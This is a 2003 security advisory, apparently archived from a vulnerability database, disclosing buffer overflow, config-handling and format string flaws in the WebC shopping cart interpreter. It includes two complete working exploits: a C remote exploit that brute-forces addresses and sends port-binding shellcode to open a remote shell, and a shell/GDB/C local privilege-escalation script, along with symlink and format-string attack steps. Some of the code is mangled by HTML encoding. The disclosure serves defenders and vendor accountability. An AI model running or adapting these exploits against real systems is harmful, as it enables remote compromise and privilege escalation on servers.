Multiple vulnerabilities in AutomatedShops WebC shopping cart

2003-04-05T00:00:00
ID SECURITYVULNS:DOC:4338
Type securityvulns
Reporter Securityvulns
Modified 2003-04-05T00:00:00

Description

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1


            Security Vulnerability Advisory

Product: WebC shopping cart Versions: 2.011 - 5.005 (Vulnerable to all exploits) 5.010 (vulnerable to local exploit) Vendor: Automated Shops (http://www.automatedshops.com) Platforms: Linux/FreeBSD/Win32 Impact: Remote code execution Local privilege escalation Advisory: CLIVITT-2003-3 Author: Carl Livitt (carl [at] learningshophull.co.uk) Date: April 3rd, 2003


Problem Description:

WebC is a server-side scripting language that is parsed by an interpreter called webc.cgi (webc.exe on Win32 platforms). It is commonly used in e-commerce shopping cart applications on web servers such as Apache.

Multiple vulnerabilites (buffer overflow, format string, insecure file handling) in webc.cgi allow remote execution of arbitrary code and local privilege escalation.


Problem Details:

Multiple vulnerabilities have been identified; more may exist, but as WebC is a closed-source commercial application it is difficult to fully audit the software for all vulnerabilities. The identified problems are:

(1) Remotely exploitable stack overflow (2) Insecure handling of config files (3) Locally exploitable stack overflows (4) Locally exploitable format string vulnerability.

This advisory will tackle each issue individually.

(1) Remotely exploitable stack overflow

The webc.cgi parser can be passed the name of a WebC script to execute in the following manner:

http://www.vuln.com/cgi-bin/webc.cgi/name-of-script

By passing an long script name, it is possible to overflow a buffer on the stack and overwrite the saved EIP with an arbitrary value, altering the flow of execution and thereby running arbitrary machine code:

http://www.vuln.com/cgi-bin/webc.cgi/AAAAAAAAAAA ... ( ~ 550 A chars)

(2) Insecure handling of config files

This is not a problem in itself, but can be leveraged to enable built-in debugging code which is vulnerable to stack-based overflows that can be locally exploited.

By default, webc.cgi reads the configuration file from the current working directory. By using symlink tricks, it is possible to force webc.cgi to read an attacker-supplied configuration file. If an attacker could create a config file that enables process debugging, (s)he could then go on to exploit stack overflows inside the debugging code of the webc.cgi binary.

To fool webc.cgi into reading an attacker-supplied config file, something like the following could be used:

$ cd /tmp $ ln -s /usr/local/apache/cgi-bin/webc.cgi webc.cgi $ cp /usr/local/apache/cgi-bin/webc.emf . $ echo "WEBC_NO_SECURITY_CHECK=True" > webc.ini $ echo "HTML_TRACE_REQUEST=/tmp/.debug1" >> webc.ini $ ./webc.cgi

In this scenario, webc.cgi would detect that it is running in the /tmp directory and read the configuration file from there. The malicious config file turns on debugging, which enables - amongst other things - dumping the environment to a file.

(3) Locally exploitable stack overflows

WebC typically runs SUID root, but changes UID to a specified user before running any vulnerable code. The UID that it changes to is based upon the value given in the PATH_INFO environment variable. Typically, the variable will look like this:

/~carl or /~foo or /~bin

WebC will check to make sure that PATH_INFO does not contain the 'root' username (it won't run as root) and then changes UID to whatever user was specified in PATH_INFO.

Alternatively, if webc.cgi is installed SUID but owned by a non-root user, the UID of the webc.cgi process is set to that of the file owner.

After changing UID, the webc.cgi binary will then parse the environment and - if debugging is enabled - dump a copy of the entire environment to a file. This dump is done by copying the contents of each environment variable to a buffer on the stack (without bounds checking) and then writing the buffer to disk.

It is therefore possible to use any environment variable to trigger a stack overflow, change the saved EIP and execute arbitrary machine code. If the webc.cgi binary is SUID root, this means an attacker can gain UID of ANY user on the system EXCEPT for root. If the webc.cgi binary is SUID as a normal user, then an attacker can gain the privileges of that user.

It should be noted that the root check is not performed for binaries that have the SGID bit set. It is possible for an attacker to gain root group privileges if the webc.cgi has mode 2755 or 6755 (or other permutation such as 6111, 2711 etc etc).

Note that debugging must be enabled in the webc.ini file for an attacker to be able to exploit this condition. That is why (2) above is classed as a vulnerability.

(4) Locally exploitable format string vulnerability

WebC uses a file called 'webc.emf' to store its error messages. These are referenced by a unique ID number and are cached when webc.cgi starts up.

In the same way that webc.cgi can be fooled into reading a fake webc.ini, it is possible to also load a fake webc.emf. By inserting format strings into the file, it is possible to perform any one of the many format string attacks that have been brought to light in recent years.

The format of the webc.emf file is as follows:

xxxxxxmmmmmmm (512 m's)

'xxxxxx' represents a 6-digit error code identifier. 'm' is a 512 byte error message relevant to the error code. If the error message is less than 512 bytes, it should be padded with NULLs (0x00). An example of a malicious webc.emf would look something like:

020052%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. + 449 NULLs

As yet no exploits have been written for this, as a stack dump was gained from the above example code and no further testing was seen to be needed.


Vendor notification timeline:

6th Feb 2003: Initial vendor notification (via email) of remote flaw.

11th Feb 2003: Received response from vendor. A partial quote: > Engineering has not fully completed our investigation but it is our > conclusion at the moment after a glossary review of the code that WebC > fully allocates all variables correctly for the maximum size and the fault > occurs when the file name is passed to Unix

17th Feb 2003: By now, AutomatedShops are aware that it is their product that has the problem, not 'Unix'. I notify them of the locally exploitable overflows.

20th Feb 2003: Received a beta version of WebC containing fixes. Tests Ok. 20th Feb 2003: Find format-string vulns and notify vendor.

5th Mar 2003: Request status update from vendor. None received.

11th Mar 2003: Request status update from vendor. Explain that advisory will be released to security community unless vendor is not ready for release yet. 11th Mar 2003: Vendor replies asking to hold off until 31st March. They need more time to do a complete source review.

2nd Apr 2003: Request status from vendor. None received. Checked FTP site and new version has been ready since 17th March.

3rd Apr 2003: Released this advisory.


Updated Packages:

Version 5.020 is now available from the vendor via anonymous FTP for all platforms:

ftp://ftp.automatedshops.com/pub/webc/5.020


Advisory Author Details:

Email: carl at learningshophull dot co dot uk PGP key: - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.2.0 (GNU/Linux)

mQGiBD3rgEgRBACkZW1OlRo0Mn+4IZPQWynQ/H27aLysLrXk14fYQjABxhuyGfqA N20xSXfpe236BncG0JgGZe1UYgbj1R08MAVnw6cVQGZENxSxs8hFcKClCMoWRqd1 LU/P3U1MmFJDztCZwjbg61jS0ajRjGRnzgrhxBCZDycD9onYP6BvXPuqqwCg2tPW cJmRcLK5GggicNcV1ZQrG70D/3+FNc18TVbZ2/dUjb2Y5d9AGS86FFmQosiuHXpx vgQgDseddEeCg/yxETqTAA+gOvY3NKm9wD6sCmakwqg1SYTpeswA8/3ceRaOjJjw 3VKPbZOSNubCl09Sgp0xqwiM6xSQxozvuQKoxB0zwvJrVEW7KIEG2aHEOocZsFYX 6IZ2A/9ePnfCOEAiTHs2+gYuoHXUs1+lXgLl1Qv+J0hHdNh50LT5aDx6ih39VXID FiKPw3MMznDhdAOW6gOQEA3QJAEn8uQU66xGzlPEkefutWDibd+zT6O54z259xcv 9VTgiAiNThfucc+KyIA2SKro8FyEQzghZBM4v+sAnN9VZBITCbQpQ2FybCBMaXZp dHQgPGNhcmxAbGVhcm5pbmdzaG9waHVsbC5jby51az6IXwQTEQIAHwUCPeuASAUJ CWYBgAQLBwMCAxUCAwMWAgECHgECF4AACgkQMeVo6vqTjEsRiQCgiQaL0VSEiEMA ZqKvsR8Ctg6y5QwAoNIOTj+CCyGXgys+3secZJLk03LMuQINBD3rgF0QCAC23Kb8 5HW36DuwtFlM1HJr2RAnbVxPlcmBWNMg+tJDFjGCVbMhiZOR7+4A+JpLNtkAJH8j PGCexuBhlVTTgaA2uBwrIVLWDh41IvrZrhafqxhsUywtiGvd1CXD+s2hhvlMbof+ C/6cbOdriFv+qtJWOwc0i14tb2wA36k7yYdOl0X3+hBGiJyt1DnEQCnT6LanYYtF GuvL7T8fO2LHYoTPSvMmdv6l4YSSw3WFXqoodaGeO1rah7cPeBk6+obDeRuzZiLV hQxiB2OzNmF1P/NBNqKjUu2kgLrCV6KJtcpJLqgzYgy/p2vx6AXp4oOG74D2Xen/ /AzGO+FDCNt3Mhc7AAMFB/9DtD1Kq7F5QiYMvLYZGYA7LSiGb/oaq5wxaG5Mc09t szqQZMDGVsyuBvJ/zI+YnsHS5yK0vnQ4vrZ2IoAyJAChAuI85yg6eh4tG93ZxhTa xBJP9dep4H+cd/ZNawD35nMZte54TBylATezUBXSAecnCGNlY+0M9w4ijXujDAH/ 2eq1S5pyc44sgUsvyXE+UVdOr4c5B5z9OxLynbpE98A11lJP/0NkRGRgVVykfdRw 8eq9DdaL9NIJyG5mkWEJLPf21vLKFxtU6eeHDVHfv33UiRPKZlFX6rddY6EaGUeS a/HD2p/cA/7c5I/R5awZdmc9f7DZc4A6H6qfz6z8NNILiEwEGBECAAwFAj3rgF0F CQlmAYAACgkQMeVo6vqTjEutUACghkYYFWPHLdF8IaqBRV7U086XYTsAoNVLwSAl +Zf0MoBdqnGDxPXhfLch =fp0k - -----END PGP PUBLIC KEY BLOCK-----


Exploit Sourcecode:

I debated with myself and the vendor about releasing exploit code. They explained that they only maintain versions >= 4 of WebC, and - as far as I can tell - versions 2.011 through 3 are no longer supported by anybody.

After consideration, I am still a believer in full disclosure as a means of pressurising vendors to fix buggy software. Therefore, I will release two exploits - a remote one and a local one. Neither of them are as nasty as they could be, but they serve to prove the concept of the security flaws present in this software.

Firstly, an exploit that will bind a shell to a user-specified port on the victim box:

/* AutomatedShops WebC 2.011 -> 5.005 remote exploit. By Carl Livitt 3/Apr/2003

PUBLIC RELEASE VERSION - Linux targets only

Usage:

./webc-exploit -t HOSTNAME

Brute-forces all necessary values. YMMV.

*/

include <sys/types.h>

include <sys/stat.h>

include <sys/socket.h>

include <stdio.h>

include <string.h>

include <unistd.h>

include <signal.h>

include <netdb.h>

include <time.h>

/ * Play with these to make it work (if it fails!) /

define RET_ADDR_START 0xbfffe949

define RET_ADDR_END 0xbffff850

define RET_ADDR_INCR 768

define EBP_ADDR_START 0xbfffe84c

define EBP_ADDR_END 0xbffff852

define EBP_ADDR_INCR 768

define ROOT_SHELL_PORT 10000

define COMMAND1 "id\n"

define COMMAND2 "uname -a\n"

// don't adjust this

define BUF_SIZE 2048

void make_shellcode(int); void make_exploit_buffer(); void make_boundary_buffer();

char shellcode[] = // setuid(0),setgid(0)... (just in case ;) "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"

// ...fork&#40;&#41;. Parent terminates, killing webc.cgi but
// leaving child process as a daemon...
&quot;&#92;x31&#92;xc0&#92;xb0&#92;x02&#92;xcd&#92;x80&#92;x89&#92;xc3&#92;x85&#92;xdb&#92;x74&#92;x08&#92;x31&#92;xdb&#92;x31&#92;xc0&quot;
&quot;&#92;xb0&#92;x01&#92;xcd&#92;x80&quot;

// ...finally, bind shell &#40;/bin/sh&#41; to port 10000 &#40;by default&#41;.
// This is a butchered version of port-binding shellcode by
// BigHawk.
    &quot;&#92;x31&#92;xdb&#92;xf7&#92;xe3&#92;xb0&#92;x66&#92;x53&#92;x43&#92;x53&#92;x43&#92;x53&#92;x89&#92;xe1&#92;x4b&#92;xcd&#92;x80&quot;
    &quot;&#92;x89&#92;xc7&#92;x52&#92;x66&#92;x68&quot;
    &quot;XX&quot; // XX is port number - gets filled in later
    &quot;&#92;x43&#92;x66&#92;x53&#92;x89&#92;xe1&#92;xb0&#92;x10&#92;x50&#92;x51&quot;
    &quot;&#92;x57&#92;x89&#92;xe1&#92;xb0&#92;x66&#92;xcd&#92;x80&#92;xb0&#92;x66&#92;xb3&#92;x04&#92;xcd&#92;x80&#92;x50&#92;x50&#92;x57&quot;
    &quot;&#92;x89&#92;xe1&#92;x43&#92;xb0&#92;x66&#92;xcd&#92;x80&#92;x89&#92;xd9&#92;x89&#92;xc3&#92;xb0&#92;x3f&#92;x49&#92;xcd&#92;x80&quot;
    &quot;&#92;x41&#92;xe2&#92;xf8&#92;x51&#92;x68&#92;x6e&#92;x2f&#92;x73&#92;x68&#92;x68&#92;x2f&#92;x2f&#92;x62&#92;x69&#92;x89&#92;xe3&quot;
    &quot;&#92;x51&#92;x53&#92;x89&#92;xe1&#92;xb0&#92;x0b&#92;xcd&#92;x80&quot;;

char sc[BUF_SIZE*2+2]; char exploit_buf[100000]; char target[256]; int port=80; //char orig_location[4096]="/cgi-bin/webc.cgi/g/", location[100000]; char orig_location[4096]="/cgi-bin/webc.cgi/~carl/g/", location[100000]; unsigned long RET_ADDR, EBP_ADDR; int root_shell_port=ROOT_SHELL_PORT,padding,len, PADDING, ORDER, repeat;

char usage[]= "Options:\n" "-h This cruft\n" "-t hostname Specify target host\n" "-a n Add extra padding, start at value 'n'\n" "-A n Add extra padding, stop at value 'n'\n\n" "Usage:\n\n" " ./webc-exploit -t localhost\n\n" "Should work on any WebC installation (versions 5.001 - 5.005)\n\n";

char greeting[]= "WebC 5.00x proof-of-concept exploit for Linux\n" "By Carl Livitt, Feb 2003\n\n";

char thingy[]="|/-\\";

/ * The fun begins here... /

main(int argc, char *argv) { int ch, websock, shellsock,r=1; struct hostent host; struct sockaddr_in saddr; char buf[8092]; char cmd[256]; int tries=0; struct timespec sleepTime; fd_set rfds; int retval, PADDING_START, PADDING_END; int thingyCount=0;

printf&#40;&quot;&#37;s&quot;,greeting&#41;;
PADDING_START=550;
PADDING_END=800;
while&#40;&#40;ch=getopt&#40;argc,argv,&quot;a:A:ht:p:P:l:&quot;&#41;&#41;!=-1&#41; {
    switch&#40;ch&#41; {
        case &#39;h&#39;:
            printf&#40;&quot;&#37;s&quot;,usage&#41;;
            exit&#40;0&#41;;
            break;
        case &#39;t&#39;:
            strncpy&#40;target, optarg, sizeof&#40;target&#41;-1&#41;;
            break;
        case &#39;a&#39;:
            PADDING_START=atoi&#40;optarg&#41;;
            break;
        case &#39;A&#39;:
            PADDING_END=atoi&#40;optarg&#41;;
            break;
        default:
            printf&#40;&quot;&#37;s&quot;, usage&#41;;
            exit&#40;0&#41;;
            break;
    }
}

if&#40;&#40;host=gethostbyname&#40;target&#41;&#41;==NULL&#41; {
    printf&#40;&quot;Host not found. Usage:&#92;n&#37;s&#92;n&quot;, usage&#41;;
    exit&#40;1&#41;;
}

/*
 * Start the bruteforce loop
 */
for&#40;RET_ADDR=RET_ADDR_START; RET_ADDR&lt;RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR&#41; {
    for&#40;EBP_ADDR=EBP_ADDR_START; EBP_ADDR&lt;EBP_ADDR_END; EBP_ADDR+=EBP_ADDR_INCR&#41; {
        for&#40;PADDING=PADDING_START;PADDING&lt;=PADDING_END;PADDING++&#41;{
        for&#40;ORDER=0;ORDER&lt;=1;ORDER++&#41; {
        repeat=5;
        while&#40;repeat--&#41; {
        printf&#40;&quot;Please wait, this may take a few minutes... &#37;c&#92;r&quot;,thingy[thingyCount]&#41;;fflush&#40;stdout&#41;;
        /*
         * Setup the exploit strings and
         * HTTP headers. The Accept-Encoding header
         * will hold shellcode: it will be passed
         * to the environment of webshell giving us
         * a reasonably predictable RET address.
         */
        make_shellcode&#40;ORDER&#41;;
        make_boundary_buffer&#40;&#41;;
        make_exploit_buffer&#40;&#41;;

        /*
         * Now connect to the host and send the exploit
         * string...
         */
        if&#40;&#40;websock=socket&#40;AF_INET,SOCK_STREAM,IPPROTO_TCP&#41;&#41;==-1&#41; {
            perror&#40;&quot;socket&#40;&#41;&quot;&#41;;
            exit&#40;1&#41;;
        }
        memset&#40;&#40;void *&#41;&saddr, 0, sizeof&#40;struct sockaddr_in&#41;&#41;;
        saddr.sin_family=AF_INET;
        saddr.sin_addr.s_addr=*&#40;&#40;unsigned long *&#41;host-&gt;h_addr_list[0]&#41;;
        saddr.sin_port=htons&#40;port&#41;;
        if&#40;connect&#40;websock, &#40;struct sockaddr *&#41;&saddr, sizeof&#40;saddr&#41;&#41;&lt;0&#41; {
            perror&#40;&quot;connect&#40;&#41;&quot;&#41;;
            exit&#40;1&#41;;
        }
        send&#40;websock, exploit_buf, strlen&#40;exploit_buf&#41;, 0&#41;;
        len=recv&#40;websock, buf, sizeof&#40;buf&#41;-1, 0&#41;;
        if&#40;len &gt; 0&#41; {
            printf&#40;&quot;TRYING: RET:0x&#37;08x, EBP_ADDR:0x&#37;08x, PADDING:&#37;d, tries:&#37;d, ORDER:&#37;d, repeat:&#37;d&#92;n&quot;, RET_ADDR, EBP_ADDR, PADDING,tries,ORDER,repeat&#41;;
            printf&#40;&quot;&#37;s&#92;n&#92;n&quot;, buf&#41;;
        }
        close&#40;websock&#41;;

        // increment the counters 
        tries++;
        if&#40;&#40;++thingyCount&#41;==4&#41;
            thingyCount=0;

        // attempt to connect to port 10000 &#40;or other, non-default port&#41;.
        // If successful, we know the exploit succeeded.
        if&#40;&#40;shellsock=socket&#40;AF_INET,SOCK_STREAM,IPPROTO_TCP&#41;&#41;==-1&#41; {
                            perror&#40;&quot;socket&#40;&#41;&quot;&#41;;
                            exit&#40;1&#41;;
                    }
                    memset&#40;&#40;void *&#41;&saddr, 0, sizeof&#40;struct sockaddr_in&#41;&#41;;
                    saddr.sin_family=AF_INET;
                    saddr.sin_addr.s_addr=*&#40;&#40;unsigned long *&#41;host-&gt;h_addr_list[0]&#41;;
                    saddr.sin_port=htons&#40;root_shell_port&#41;;
                    if&#40;connect&#40;shellsock, &#40;struct sockaddr *&#41;&saddr, sizeof&#40;saddr&#41;&#41;==0&#41;
                            goto CONNECTED; // goto? Damn amateurs...
                    close&#40;shellsock&#41;;
        EBP_ADDR--;
        } // repeat
        } // ORDER
        } // PADDING
    } // EBP_ADDR
} // RET_ADDR
/*
 * If we get here, then the bruteforce was exhausted without a
 * succesful exploit.
 */
printf&#40;&quot;Exploit failed.&#92;n&quot;&#41;;
exit&#40;0&#41;;

CONNECTED: / * We're now connected to the remote host. Issue * some commands... ('id' and 'uname -a' by default) / printf("\n------------------------------------\nExploit successful!\n"); printf("Explit values were:\n"); printf("RET:0x%08x, EBP_ADDR:0x%08x, PADDING:%d, tries:%d, ORDER:%d, repeat:%d\n", RET_ADDR, EBP_ADDR, PADDING,tries,ORDER,repeat); printf("--------------------------------------\nIssuing some commands...\n\n"); if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) { perror("send()"); exit(1); } buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0'; printf("%s", buf); send(shellsock, COMMAND2, strlen(COMMAND2), 0); buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0'; printf("%s\n", buf); printf("You are now at a bash prompt...\n"); send(shellsock, "export TERM=vt100; exec bash -i\n",strlen("export TERM=vt100; exec bash -i\n"),0);

    /*
     * Now let the attacker issue commands to the remote
     * shell, just as if &#40;s&#41;he had launched &#39;nc host 10000&#39;.
     * Note the dodgy coding of assigning NULLs to the buf[]
     * array. What would happen if recv&#40;&#41; or read&#40;&#41; returned -1 ?
     */
    do {
            FD_ZERO&#40;&rfds&#41;;
            FD_SET&#40;0, &rfds&#41;;
            FD_SET&#40;shellsock, &rfds&#41;;
            retval=select&#40;shellsock+1, &rfds, NULL, NULL, NULL&#41;;
            if&#40;retval&#41; {
                    if&#40;FD_ISSET&#40;shellsock, &rfds&#41;&#41; {
                            buf[&#40;r=recv&#40;shellsock, buf, sizeof&#40;buf&#41;-1,0&#41;&#41;]=&#39;&#92;0&#39;;
                            printf&#40;&quot;&#37;s&quot;, buf&#41;;
                    }
                    if&#40;FD_ISSET&#40;0, &rfds&#41;&#41; {
                            buf[&#40;r=read&#40;0, buf, sizeof&#40;buf&#41;-1&#41;&#41;]=&#39;&#92;0&#39;;
                            send&#40;shellsock, buf, strlen&#40;buf&#41;, 0&#41;;
                    }

            }
    } while&#40;retval && r&#41;; // loop until connection terminates
    close&#40;shellsock&#41;;
    exit&#40;0&#41;;

}

/ * Create the HTTP request that will setup the exploit * conditions in webshell. Shellcode is stored in the * Accept-Encoding HTTP header. / void make_exploit_buffer() { sprintf(exploit_buf,"GET %s HTTP/1.1\n",location); sprintf(exploit_buf,"%sHost: %s\n",exploit_buf,target); sprintf(exploit_buf,"%sAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,/;q=0.1\n", exploit_buf); sprintf(exploit_buf,"%sAccept-Language: en-gb, en;q=0.66, en-us;q=0.33\n", exploit_buf); sprintf(exploit_buf,"%sAccept-Encoding: gzip, deflate, compress;q=0.9\n", exploit_buf); sprintf(exploit_buf,"%sAccept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\n", exploit_buf); sprintf(exploit_buf,"%sCookie: ck_ams=00000; ck_amsv=11043763620; ck_sid=3J4EUD0l4Juf1ev-06103517452.aa\n", exploit_buf); sprintf(exploit_buf,"%sAccept-Encoding: %s\n\n",exploit_buf, sc); //printf("%s\n\n", exploit_buf); }

/ * Create the buffer that overflows the stack... / void make_boundary_buffer() { int i; char *ptr; const int MAGIC=59;

memset&#40;location, 0, sizeof&#40;location&#41;&#41;;
strcpy&#40;location, orig_location&#41;;
ptr=location;
while&#40;*ptr&#41;
    ++ptr;
i=PADDING&#37;4;
while&#40;i--&#41;
    *&#40;ptr++&#41;=0xbf;  
i=MAGIC+&#40;PADDING/4&#41;-4;
while&#40;i--&#41; {
    *&#40;ptr++&#41;=EBP_ADDR&0xff;
        *&#40;ptr++&#41;=&#40;EBP_ADDR&gt;&gt;8&#41;&0xff;
        *&#40;ptr++&#41;=&#40;EBP_ADDR&gt;&gt;16&#41;&0xff;
        *&#40;ptr++&#41;=&#40;EBP_ADDR&gt;&gt;24&#41;&0xff;
}
*&#40;ptr++&#41;=RET_ADDR&0xff;
    *&#40;ptr++&#41;=&#40;RET_ADDR&gt;&gt;8&#41;&0xff;
    *&#40;ptr++&#41;=&#40;RET_ADDR&gt;&gt;16&#41;&0xff;
    *&#40;ptr++&#41;=&#40;RET_ADDR&gt;&gt;24&#41;&0xff;
*ptr=&#39;&#92;0&#39;;

}

/ * Creates a buffer holding NOPs and shellcode. / void make_shellcode(int order) { char *ptr; int i;

// Finish making shellcode buffer
memset&#40;sc, 0x90,BUF_SIZE&#41;;
memcpy&#40;sc + BUF_SIZE - &#40;strlen&#40;shellcode&#41;+1&#41;, shellcode, strlen&#40;shellcode&#41;&#41;;

// Fill in the port number
ptr=strstr&#40;sc, &quot;XX&quot;&#41;;
*&#40;ptr++&#41;=htons&#40;root_shell_port&#41;&0xff;
*ptr=&#40;htons&#40;root_shell_port&#41;&gt;&gt;8&#41;&0xff;

ptr=&#40;char *&#41;sc+BUF_SIZE;
for&#40;i=0;i&lt;BUF_SIZE-4;i+=4&#41; {
    switch&#40;order&#41; {
        case 0:
            *&#40;ptr++&#41;=RET_ADDR&0xff;
                *&#40;ptr++&#41;=&#40;RET_ADDR&gt;&gt;8&#41;&0xff;
                *&#40;ptr++&#41;=&#40;RET_ADDR&gt;&gt;16&#41;&0xff;
                *&#40;ptr++&#41;=&#40;RET_ADDR&gt;&gt;24&#41;&0xff; 
            break;
        case 1:
            *&#40;ptr++&#41;=&#40;RET_ADDR&gt;&gt;16&#41;&0xff;
                *&#40;ptr++&#41;=&#40;RET_ADDR&gt;&gt;24&#41;&0xff; 
            *&#40;ptr++&#41;=RET_ADDR&0xff;
                *&#40;ptr++&#41;=&#40;RET_ADDR&gt;&gt;8&#41;&0xff;
            break;
    }
}
*ptr=&#39;&#92;0&#39;;

} // END OF REMOTE EXPLOIT

And a local one, which will spawn a shell with the privs of the user who owns the webc.cgi binary (as long as it's not root.) This could be expanded to gain the privs of ANY USER on the system (but not root).

Note that the stack is munged by the overwriting of EIP and needs to be recreated exactly as it was before the overflow occurs...

!/bin/sh

WebC 5.00x (possibly earlier) local exploit

By Carl Livitt - 3/Apr/2003

PUBLIC RELEASE VERSION

Make sure and change the paths below to match

the installation of the victim host.

This exploit will get privs of the user WebC

is installed SUID as (except root - WebC will

refuse to run as root). So, if webc.cgi is

installed SUID and owned by 'admin', you get

'admin' rights. If it is GUID, then you get

that too. Handy for GUID root installs...

Usage: ./webc-local-exploit.sh

Note: if the debugging files debug[12]

cannot be written, the exploit will fail.

debug1 is for debugging as your user id,

debug2 is for debugging as SUID user id. The

two must be different files.

Note 2: It is possible (theoritcally - I haven't

tested it) to exploit this vuln to gain privs

of ANY user (except root) using this vuln.

By using a PATH_INFO value of /~username, it

should be possible to gain 'username' privs.

Note 3: When exploiting this vuln and overwriting EIP,

the least significant byte of the data after EIP gets

overwritten by a NULL. This is a shame, as the byte

is needed by the exploitable function before returning.

This causes a crash. It is therefore necessary to

not only overwrite EIP, but reconstruct the stack after

EIP to exactly the way it was before EIP overwrite.

To do this, the exploit uses GDB to set breakpoints,

dump the stack, construct the exploit string containing

the correct data from the stack and then actually run

the exploit proper. This avoids a crash and allows a

successful exploit to take place.

Note 4: It's not just the QUERY_STRING environment

variable that causes an overflow; any env var will do.

I just chose QUERY_STRING arbitrarily.

Final note (I promise): Debugging must be turned on in

the WebC config file for this exploit to work. The

overflow actually occurs in the debug routines. Luckily,

it is possible to make WebC read any config file you like

due to insufficient checking in the config parsing code,

so it is possible to force debugging mode.

CHANGE THESE TO SUIT THE WEBC INSTALLATION

webc_binary=/usr/local/apache/cgi-bin/webc.cgi webc_emf=/usr/local/apache/cgi-bin/webc.emf

Other things you can tinker with if you like

webc_exploit_dir=/tmp/.webc_exploit_dir

You shouldn't need to tinker below here

Prepare the environment for debugging...

export REQUEST_METHOD=GET export REMOTE_ADDR=127.0.0.1 export PATH_INFO=a export QUERY_STRING=`perl -e 'print "a"x1034'`

Create a fake webc.ini that enables debugging. This allows us to

exploit the overflow.

pushd . >& /dev/null if [ -d "$webc_exploit_dir" ]; then rm -Rf "$webc_exploit_dir"; fi mkdir "$webc_exploit_dir" cd "$webc_exploit_dir" chmod 777 . cat << WEBCINI > webc.ini WEBC_SU_OWNER=True WEBC_NO_SECURITY_CHECK=True HTML_TRACE_REQUEST=/tmp/.debug1 WEBCINI chmod 666 webc.ini ln -s $webc_binary webc.cgi cp $webc_emf . chmod 666 webc.emf

Create a command file for GDB that dumps the portion of webc.cgi's

stack that we will need to recreate after overwriting the saved EIP.

rm -f gdb.keys gdb.out >& /dev/null cat << EOF > gdb.keys break 0x805a84c break 0x8055123 r x/100x \$ebp q y EOF chmod 666 gdb.keys

Run GDB and strip out the stack values we need

gdb -q ./webc.cgi --command gdb.keys &> gdb.out cat gdb.out | grep '0x' | grep -v Breakpoint | cut -f2- -d: >gdb.out rm /tmp/.debug1

Now construct a valid C string containing the stack values in

little-endian byte order using some of the scrattiest Perl I've

ever written :)

if [ -f "addrs.txt" ]; then rm addrs.txt; fi skip=0 for i in `cat gdb.out`; do skip=$((skip+1)) if [ $skip -le 2 ]; then continue; fi if [ "$i" == "0x00000000" ]; then break; fi echo $i 2>&1 | grep -q '0x00' if [ $? -eq 0 ]; then perl -e "\$d=substr(\"$i\",8,2);\$c=substr(\"$i\",6,2);\$b=substr(\"$i\",4,2);\$a=substr(\"$i\",2,2);if(\$d!~/00/){print '\x'.\$d;}if(\$c!~/00/){print '\x'.\$c;}if(\$b!~/00/){print '\x'.\$b;}" >> addrs.txt break
fi perl -e "\$a=substr(\"$i\",2,2);\$b=substr(\"$i\",4,2);\$c=substr(\"$i\",6,2);\$d=substr(\"$i\",8,2);print '\x'.\$d.'\x'.\$c.'\x'.\$b.'\x'.\$a" >> addrs.txt done

Assign the C string to an evironment variable

STACK_VARS="\"`cat addrs.txt`\""

Create a C program that will exploit the overflow and recreate

the obliterated stack frames in webc.cgi

cat << CFILE > local.c char shellcode[]= "\xb9\xff\xff\xff\xff\x31\xc0\xb0\x31\xcd\x80\x89" "\xc3\xb0\x46\xcd\x80\x31\xc0\xb0\x32\xcd\x80\x89" "\xc3\xb0\x47\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1" "\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"; char egg[2000]; main() { memset(egg, 0, 2000); memset(egg, 0x90, 1039); memcpy(egg + 1039 - (strlen(shellcode)+1), shellcode, strlen(shellcode)); strcat(egg, "\xd0\xfa\xff\xbf"); //RET address works in almost all cases strcat(egg, $STACK_VARS); setenv("REQUEST_METHOD=GET"); setenv("REMOTE_ADDR=127.0.0.1"); setenv("PATH_INFO=a"); setenv("QUERY_STRING", egg, 1); system("./webc.cgi"); } CFILE

Recreate webc.ini to use a different debug file

cat webc.ini|sed 's/debug1/debug2/' >webc.ini

Compile and execute the exploit...

gcc -o local local.c chmod 777 local ./local

Clean up the /tmp dir and exit

cd /tmp rm -Rf "$webc_exploit_dir" popd >& /dev/null exit 0 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.0 (GNU/Linux)

iD8DBQE+jDRvMeVo6vqTjEsRAnsNAJ9f9H/k3fgFUJA0iHLUMYNXuR5CnACgxPFs 6ZFsy/snUbVd5B0UnKnOC7k= =kXF3 -----END PGP SIGNATURE-----